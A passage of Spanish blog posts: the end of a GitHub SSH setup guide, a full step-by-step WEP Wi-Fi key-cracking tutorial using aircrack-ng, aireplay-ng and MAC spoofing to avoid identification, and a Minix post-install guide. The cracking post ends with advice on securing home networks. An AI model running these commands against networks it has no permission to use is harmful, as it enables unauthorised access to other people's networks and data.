Una vez generadas las claves tendremos que copiar el contenido de la clave pública en las preferencias de nuestra cuenta de GitHub en la sección de claves SSH. Podemos comprobar que hemos configurado la clave correctamente con:<br />
<br />
<div class="codigo">
<pre>$ ssh -T git@github.com -i "[clave privada]"</pre>
</div>
<br />
Ahora deberemos <a href="https://github.com/repositories/new">crear un repositorio de Git</a> en GitHub, también en nuestro equipo en la carpeta donde lo guardemos y configurar algunas propiedades:<br />
<br />
<div class="codigo">
<pre>$ git init
$ git config github.user [usuario]
$ git config user.email [email]
$ git remote add origin git@github.com:[usuario]/[repositorio].git
</pre>
</div>
<br />
Si queremos podemos <a href="https://github.com/github/markup#readme">crear un archivo README</a> utilizando alguno de los lenguajes de marcas disponibles para que los usuarios que llegue a la página del proyecto en GitHub sepan de que trata y cualquier otra información que creamos pueda serles de ayuda.<br />
<br />
Ya solo nos queda hacer los primeros commits y enviarlos a GitHub con las siguientes comandos respectivamente:<br />
<br />
<div class="codigo">
<pre>$ ssh-add "[clave privada]"
$ git commit -m 'first commit'
$ git push -u origin master
$ git tag -a [tag] -m 'first tag'
$ git push --tags</pre>
</div>
<br />
Referencia:<br />
<a href="https://github.com/">https://github.com/</a><br />
<a href="http://git-scm.com/">http://git-scm.com/</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2010/06/sistema-de-control-de-versiones.html">Sistema de control de versiones distribuido, Git</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-69232071754283931122012-05-04T21:28:00.000+02:002012-05-07T09:04:49.325+02:00Obtener la clave de una red WIFI WEPObtener la clave con la que está protegida una red WIFI con seguridad WEP no es excesivamente complicado para una persona que tiene unos pocos conocimientos sobre informática, sabe buscar, leer y no le da miedo el terminal. Aún así hay que tener en cuenta que acceder a una red WIFI que no conocemos y que no sabemos de quien es no es recomendable ya que podemos ser victimas de que accedan a los datos que transmitimos.<br />
<br />
Si aún sabiendo esto queremos acceder a una, para obtener la clave de las redes WIFI con seguridad WEP necesitamos una serie de programas que en la mayoría de distribuciones Linux son muy fáciles de instalar a través de sus gestoresde paquetes, necesitaremos aircrack-ng y macchanger. En el momento que probé a hacerlo con Arch Linux, parece que el el aircrack-ng tenía un problema con los canales de las WIFI asi que tuve que optar por usar BackTrack. La <a href="http://www.backtrack-linux.org/">distribución de Linux BackTrack</a> ya los trae instalados asi que solo tendriamos que desgargar una vesión de esta, grabarla en un CD y iniciar el equipo con ella.<br />
<br />
Los pasos para obtener la clave de una red WIFI con seguridad WEP son:<br />
<br />
Ponemos la tarjeta en modo promíscuo para escuchar todos los paquetes que circulen por la red:<br />
<br />
<div class="codigo">
<pre>$ sudo airmon-ng start wlan0</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1vzRlpyrEnIQ1sPz9qTv9amd4h38ZD8-3BuiEicAEQx8r9pbz-dXavUZKAggcyUmig26DbmJdO6ecQgOvUHxEWCK9DuLTtHaRx97huzH_RwvUHhPUFMfmrYYuHzcJvDC2vcYHx5ku6tbU/s1600/aircrack-ng-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1vzRlpyrEnIQ1sPz9qTv9amd4h38ZD8-3BuiEicAEQx8r9pbz-dXavUZKAggcyUmig26DbmJdO6ecQgOvUHxEWCK9DuLTtHaRx97huzH_RwvUHhPUFMfmrYYuHzcJvDC2vcYHx5ku6tbU/s200/aircrack-ng-1.jpg" width="200" /></a></div>
<br />
Cambiamos la dirección MAC de nuestra tarjeta de red inalámbrica para evitar trabajar con la nuestra y que nos identifiquen:<br />
<br />
<div class="codigo">
<pre>$ sudo ifconfig mon0 down
$ sudo macchanger -m 00:11:22:33:44:55 mon0
$ sudo ifconfig mon0 up
</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9XFBwg4jLDeRBYrqpcAZy_ZG_xyo4vsBWL8dAgmPpvGO_RBkgi4VR3gK24qUL1QGOONPeF6US7SEEeBtZmQweP3FA13JgvpFWM32zxIZ00UUvHmIXBMJ2XBhQSs3gFkz065ijciMkwIIo/s1600/aircrack-ng-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9XFBwg4jLDeRBYrqpcAZy_ZG_xyo4vsBWL8dAgmPpvGO_RBkgi4VR3gK24qUL1QGOONPeF6US7SEEeBtZmQweP3FA13JgvpFWM32zxIZ00UUvHmIXBMJ2XBhQSs3gFkz065ijciMkwIIo/s200/aircrack-ng-2.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Escaneamos las redes que están cerca nuestro, buscamos una con cifrado WEP:<br />
<br />
<div class="codigo">
<pre>$ sudo airodump-ng mon0</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5LzmGlQhuglCpmqAQGlZx3lXip618eYlhCrN0_UaqdomXXBU9PpQTxkoVbbb4aLRCtBuwoS69uUdJLHa9QdwKSuTW8Ky7Zmqq8rrapXxwopzpooWZ7v18wSYbuJLqW-NSy8u7j3WTJaWs/s1600/aircrack-ng-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5LzmGlQhuglCpmqAQGlZx3lXip618eYlhCrN0_UaqdomXXBU9PpQTxkoVbbb4aLRCtBuwoS69uUdJLHa9QdwKSuTW8Ky7Zmqq8rrapXxwopzpooWZ7v18wSYbuJLqW-NSy8u7j3WTJaWs/s200/aircrack-ng-3.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Empezamos a volcar el tráfico de la red para que aircrack pueda averiguar la clave (este paso y los dos siguientes se realizan de forma simultanea en terminales diferentes):<br />
<br />
<div class="codigo">
<pre>$ sudo airodump-ng -c [CH] -w [ESSID] --bssid [BSSID] mon0</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyDpaSTEnGb00Do4YWNLmQLnXpIbCMonZjILOwj48sogayD1QvUaFMBtyvJcYLA_dfunCBX5NraLpcK0ASmIfAavfifXNq-meKRLOCGIS8R1B0E1iV7bkh6OUxgu3OMK37PVtbdai_yb0/s1600/aircrack-ng-4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyDpaSTEnGb00Do4YWNLmQLnXpIbCMonZjILOwj48sogayD1QvUaFMBtyvJcYLA_dfunCBX5NraLpcK0ASmIfAavfifXNq-meKRLOCGIS8R1B0E1iV7bkh6OUxgu3OMK37PVtbdai_yb0/s200/aircrack-ng-4.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Inyectamos tráfico de forma artificial en la red para que el proceso sea más rápido:<br />
<br />
<div class="codigo">
<pre>$ sudo aireplay-ng -1 6000 -a [BSSID] -h 00:11:22:33:44:55 mon0
$ sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [BSSID] -h 00:11:22:33:44:55 mon0</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPCkroQ0EGm3p2CyZ1Q40vqC5ohHy_lmeqXt_bPKWDD8PMxy99LOTEGB6WIQdlIjHpZhOKCO7o3BjlHdYKwLkmxYGzz2bcgV97WqPwdfiXrV4kfm1UaPGbxKmG7zzgEEs_7B6mGUSPwBpl/s1600/aircrack-ng-5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPCkroQ0EGm3p2CyZ1Q40vqC5ohHy_lmeqXt_bPKWDD8PMxy99LOTEGB6WIQdlIjHpZhOKCO7o3BjlHdYKwLkmxYGzz2bcgV97WqPwdfiXrV4kfm1UaPGbxKmG7zzgEEs_7B6mGUSPwBpl/s200/aircrack-ng-5.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Ponemos a aircrack a trabajar para descifrar la clave:<br />
<br />
<div class="codigo">
<pre>$ sudo aircrack-ng -z [ESSID]*.cap</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwYVGfFUVb1sjgNFz_V3wmLcwUe4474lSW_DeXMDBgfGdUkX7VtgjKo7eS8If8akkVPnOChN1QLuqN3two5mO_BKFihXgT2hQT-BrPuwyF1i81h_oOcmGYeQdJJoDzPgb8wd8GZnfkt1b3/s1600/aircrack-ng-6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwYVGfFUVb1sjgNFz_V3wmLcwUe4474lSW_DeXMDBgfGdUkX7VtgjKo7eS8If8akkVPnOChN1QLuqN3two5mO_BKFihXgT2hQT-BrPuwyF1i81h_oOcmGYeQdJJoDzPgb8wd8GZnfkt1b3/s200/aircrack-ng-6.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Ya solo nos queda esperar un rato hasta que aircrack capture los paquetes suficientes y nos proporcione la clave en forma de 5 pares de caracteres.<br />
<br />
Asi que no tengas una falsa sensación de seguridad por tener una red WIFI protegida con una seguridad WEP, incluso las redes WIFI con seguridad WPA/PSK que son un poco más seguras obtener la clave de estas también es posible. Dado que tener una red WIFI WEP o WPA/PSK no nos evita estar a salvo de intrusos algunas acciones que podemos tomar son: no usar WEP y al menos usar WPA/PSK (que tampoco es segura pero es mejor que WEP), cambiar la clave cada unas semanas (tampoco nos evita estar a salvo pero le será una molestia para quien intente acceder a nuestra WIFI), apagar la red WIFI si no la utilizamos y no dejarla siempre encendida (esto hará que alguien que este buscando una red WIFI a la que conectarse opte por otra que no sea la nuestra por no tener WIFI siempre que quiera), activa el filtrado MAC del router WIFI (así solo nuestros equipos podrán conectarse a eĺ) y ocultar la red no difundiendo el nombre, SSDI, de nuestra red (para alguien con pocos conocimientos optará primero por las redes que vea en vez de las redes WIFI ocultas).<br />
<br />
Algunos motivos para evitar tener intrusos en nuestra red son disponer de todo el ancho de banda por el que pagamos, evitar que alguien utilice nuestra red para realizar acciones ilegales o acciones delictivas a través de ella, evitar que accedan a nuestros equipos y a nuestros documentos, claves de los servicios que utilizamos o datos de nuestras tarjetas bancarias o cuentas. Lo principal será prevenir estos poco frecuentes pero posibles problemas.<br />
<br />
Referencia:<br />
<a href="http://www.aircrack-ng.org/doku.php?id=aircrack-ng">http://www.aircrack-ng.org/doku.php?id=aircrack-ng</a><br />
<a href="http://www.atareao.es/ubuntu/conociendo-ubuntu/como-crackear-una-red-wifi-cifrada-con-wep-en-ubuntu/">http://www.atareao.es/ubuntu/conociendo-ubuntu/como-crackear-una-red-wifi-cifrada-con-wep-en-ubuntu/</a><br />
<a href="http://www.pdaexpertos.com/Tutoriales/Comunicaciones/Seguridad_en_redes_inalambricas_WiFi.shtml">http://www.pdaexpertos.com/Tutoriales/Comunicaciones/Seguridad_en_redes_inalambricas_WiFi.shtml</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-33988056040834357362012-03-09T19:57:00.001+01:002012-03-12T14:00:30.538+01:00Guía post instalación Minix<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Minix" border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKo6b31Tm649tSbQJD07FhOE1bvrRPfRhYfAwmo8sdgMZptO8l8snNyOfisUzOedxaZnrPWLPmj6bmNht3D6Mek1N1ypX8YMUXiJhbWSozF0e-GT9HHN2hrOeqELokUXPZGC2anERB_qqF/s200/minix.jpg" title="Minix" width="200" /></div>
Hace ya un tiempo escribí un par de entradas sobre el sistema Minix porque tiene algunas <a href="http://www.minix3.org/other/reliability.html">características muy interesantes</a> que ya les gustaría tener a otros sistemas operativos, <a href="http://elblogdepicodev.blogspot.com/2010/10/el-sistema-operativo-minix.html">El sistema operativo Minix</a> donde daba una descripción de él y una <a href="http://elblogdepicodev.blogspot.com/2010/11/guia-instalacion-minix.html">Guía de instalación Minix</a> donde explicaba como era su instalación en una máquina virtual con VirtualBox. Ahora con la reciente salida de la versión 3.2.0 de Minix y la adición de <a href="http://wiki.minix3.org/en/MinixReleases">nuevas características</a> escribo esta entrada para saber que hacer después de instalarlo con el objetivo de intentar hacer de Minix usable para algo y no quedarme con la sensación de que es algo experimental (aunque aún tengo la sensación de ello).<br />
<br />
Los paquetes disponibles para Minix no son muchos y por tanto las posibilidades están limitadas pero en esta entrada voy a explicar algún uso útil que le podríamos dar a Minix.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8D4fSwZLX3cVGeDyA6SoLZUIYUPv7V_G7-9cd1yvxslNdsDQLSEVkPMxCPuD5tIngxwSCsoGtd6WyfpiSHL5WiQL5WJGpH0oG__kez1vWV8o2L3Hbz3KZyA_sEJ7bIzsBxqmJs5z79z9g/s1600/minix-3.2.0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8D4fSwZLX3cVGeDyA6SoLZUIYUPv7V_G7-9cd1yvxslNdsDQLSEVkPMxCPuD5tIngxwSCsoGtd6WyfpiSHL5WiQL5WJGpH0oG__kez1vWV8o2L3Hbz3KZyA_sEJ7bIzsBxqmJs5z79z9g/s320/minix-3.2.0.png" width="320" /></a></div>
<br />
<strong>Cambiar la contraseña al usuario root</strong><br />
Una de las primeras cosas que deberíamos hacer después de instalarlo es cambiar la contraseña del usuario root con:<br />
<br />
<div class="codigo">
<pre># passwd</pre>
</div>
<br />
<strong>Cambiar la zona horaria</strong><br />
Modificaremos la zona horaria. Para ello añadimos al archivo /etc/rc.tomezone lo siguiente:<br />
<div class="codigo">
<pre>export TZ=Europe/Madrid</pre>
</div>
<br />
<strong>Crear un usuarios y grupos</strong><br />
Dado que Minix casi seguro no será nuestro sistema principal no nos preocupará mucho la seguridad pero deberíamos estar acostumbrados a no trabajar con la cuenta del superusuario root. Para ello podemos crear un grupo (wheel), un usuario (minix) para usarlo de forma normal en tareas no administrativas, le cambiamos de contraseña al usuario y el nombre completo del usuario (o algunos otros datos).<br />
<br />
<div class="codigo">
<pre># group add wheel
# user add -m -g users minix
# passwd minix
# chfn minix</pre>
</div>
<br />
<strong>Editores, navegador web, correo electrónico, transferencia de archivos</strong><br />
Vim es un editor muy versátil y aunque el paquete de Minix no sea la última versión nos ayudará a trabajar de forma más cómoda. Hay otros editores como ed, nano y elvis. Los instalamos con el <a href="http://wiki.minix3.org/en/UsersGuide/InstallingBinaryPackages">gestor de paquetes de minix</a>, pkgin. Otros programas de utilidad básicos con un navegador web (links), un programa para enviar y leer los correos electrónicos (mutt) y programas para la trasnferencia de archivos (ftp y curl).<br />
<br />
<div class="codigo">
<pre># pkgin install vim
# pkgin install links
# pkgin install mutt
# pkgin install curl</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixb-Xpgz1q7YBHozmogFpFxeq1gyMMVXeQqijLRFc4gc-379AzkFsTn_6Y3IzOKTXmq9k6VoJzZ-8cMT-DJfnxcDS1orlJQ1X6Cqt5egP62GGxFES8fGqhjhhxI_8SLcfnuqxK9GMxZffT/s1600/minix-vim.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixb-Xpgz1q7YBHozmogFpFxeq1gyMMVXeQqijLRFc4gc-379AzkFsTn_6Y3IzOKTXmq9k6VoJzZ-8cMT-DJfnxcDS1orlJQ1X6Cqt5egP62GGxFES8fGqhjhhxI_8SLcfnuqxK9GMxZffT/s200/minix-vim.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje_X2LJ11mK9zapDsW52mbwyG5j0tODaw4PXZ83tWzNn7948C-yWt0Vv2gxMpB48a0WrynqnrvpOhNVPsunW7RA0ZHjM9AL6kgV-RfQ6dpEqdeM0NatvGNQmUlNQh2l0yNlUsWiJEjkp6F/s1600/minix-links-google.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje_X2LJ11mK9zapDsW52mbwyG5j0tODaw4PXZ83tWzNn7948C-yWt0Vv2gxMpB48a0WrynqnrvpOhNVPsunW7RA0ZHjM9AL6kgV-RfQ6dpEqdeM0NatvGNQmUlNQh2l0yNlUsWiJEjkp6F/s200/minix-links-google.png" width="200" /></a></div>
<br />
<strong>Servidor web, Python, OpenSSH</strong><br />
Si somos desarrolladores y queremos desarrollar algo básico tenemos a nuestra disposición algunos paquetes que nos lo permitirán. Estos son un servidor web (apache), el lenguaje de programación python, también podremos desarrollar programas en c, y una herramienta para conectarnos a la máquina minix de forma remota a través de ssh (OpenSSH).<br />
<br />
Para iniciar el servicio de apache en minix ejecutarmos:<br />
<br />
<div class="codigo">
<pre># /usr/pkg/sbin/apachectl start</pre>
</div>
<br />
Aquí podemos ver la página de bienvenida devuelta Apache y servida por la máquina minix y el típico hola mundo programado en Python y su ejecución en Minix.<br />
<br />
<div class="codigo">
<pre># pkgin install apache
# pkgin install python
# pkgin install openssh</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzg8St15P5MbwxMI9-TWReLU0zlKee-tf_YiTf2kWGmtLV9qq0bqQakINOsWo2tJDzXJTSBle6vWHA5e4AchF_xFZur8v0AHSzbz8hFHMkqNGc0wIES_vAHWoEBv-gSGnAzcATTCVZkrEv/s1600/minix-apache-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzg8St15P5MbwxMI9-TWReLU0zlKee-tf_YiTf2kWGmtLV9qq0bqQakINOsWo2tJDzXJTSBle6vWHA5e4AchF_xFZur8v0AHSzbz8hFHMkqNGc0wIES_vAHWoEBv-gSGnAzcATTCVZkrEv/s200/minix-apache-2.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxLNHnyoUuZFa3NxhtMBhsuc6rm5zacy_ThxG0ubooKrLnSMxBfo4B7fi9NZQxVMQ5Rl8Vdo-r-jCHuo905yzU2imh6HGl07_10ltTLhT2dJKVdP4SpMdJMFvr39Ms9YlIDSnBi3MprDi/s1600/minix-python-holamundo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxLNHnyoUuZFa3NxhtMBhsuc6rm5zacy_ThxG0ubooKrLnSMxBfo4B7fi9NZQxVMQ5Rl8Vdo-r-jCHuo905yzU2imh6HGl07_10ltTLhT2dJKVdP4SpMdJMFvr39Ms9YlIDSnBi3MprDi/s200/minix-python-holamundo.png" width="200" /></a></div>
<strong>Juegos</strong><br />
También hay disponibles algunos juegos, en modo texto. Dungeon es una aventura donde iremos obteniendo una descripción de las habitaciones por donde vamos pasando y podremos realizar acciones introduciendolas en texto. gnugo es un juego de tablero del juego <a href="http://es.wikipedia.org/wiki/Go">go</a> donde deberemos controlar la mayor parte posible del mismo. En aop deberemos dirigir mediante las fechas del teclado un caracter que nos representa a otro punto de la pantalla evitando los obstáculos.<br />
<br />
<div class="codigo">
<pre># pkgin install dungeon gnugo aop</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9xdcbUvmzNMcGHhX3JjQm1UdkjsVD5l1J_kR62_WuL7T5RU8P319YLg7j7HC6mXXFxCSQQjXMIr_C9NkaD7rfxp1ukHV9lTZ6BjjE39sb_lxsDeXUdnPgETAbRK4TX-8MbT90z7G5hlup/s1600/minix-dungeon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9xdcbUvmzNMcGHhX3JjQm1UdkjsVD5l1J_kR62_WuL7T5RU8P319YLg7j7HC6mXXFxCSQQjXMIr_C9NkaD7rfxp1ukHV9lTZ6BjjE39sb_lxsDeXUdnPgETAbRK4TX-8MbT90z7G5hlup/s200/minix-dungeon.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1DozrQaPr04rmTOB0psUZqhSY9z6sAGcbVJ68Zmyw5cHW4NiEX6znLfGv01au6yXz-y7ANp-Y7kywcvcRF8O5V-vZCfQaj1hVD__bCFVC35h68Erj5r53hVQQTpuI8RNAF53LK8oapuPX/s1600/minix-gnugo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1DozrQaPr04rmTOB0psUZqhSY9z6sAGcbVJ68Zmyw5cHW4NiEX6znLfGv01au6yXz-y7ANp-Y7kywcvcRF8O5V-vZCfQaj1hVD__bCFVC35h68Erj5r53hVQQTpuI8RNAF53LK8oapuPX/s200/minix-gnugo.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzsVNa5zRxDakMRiGWoHv-jOnpVPRCdKroMvEsfcu5JmqaN6jQkuRGSvKO871SEkWCzSKavsOuLEIJITd4UB2bYOYh5NSYo6keL5ttoU1kagmow6hJMI1XHNohNypAuxMV1iaM7S0RdZPL/s1600/minix-aop2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzsVNa5zRxDakMRiGWoHv-jOnpVPRCdKroMvEsfcu5JmqaN6jQkuRGSvKO871SEkWCzSKavsOuLEIJITd4UB2bYOYh5NSYo6keL5ttoU1kagmow6hJMI1XHNohNypAuxMV1iaM7S0RdZPL/s200/minix-aop2.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Desde luego Minix no dispone de la cantidad de herramientas de otros sistemas y tampoco en sus últimas versiones, tiene casi la categoría de exprimental pero como vemos hay algunos usos que le podemos dar.<br />
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com/2010/10/el-sistema-operativo-minix.html">El sistema operativo Minix</a><br />
<a href="http://elblogdepicodev.blogspot.com/2010/11/guia-instalacion-minix.html">Guía instalación Minix</a><br />
<a href="http://wiki.minix3.org/en/UsersGuide/PostInstallation">http://wiki.minix3.org/en/UsersGuide/PostInstallation</a><br />
<a href="http://wiki.minix3.org/en/UsersGuide">http://wiki.minix3.org/en/UsersGuide</a><br />
<a href="http://wiki.minix3.org/en/UsersGuide/ManagingUserAccounts">http://wiki.minix3.org/en/UsersGuide/ManagingUserAccounts</a><br />
<a href="http://wiki.minix3.org/en/DevelopersGuide">http://wiki.minix3.org/en/DevelopersGuide</a>Unknownnoreply@blogger.com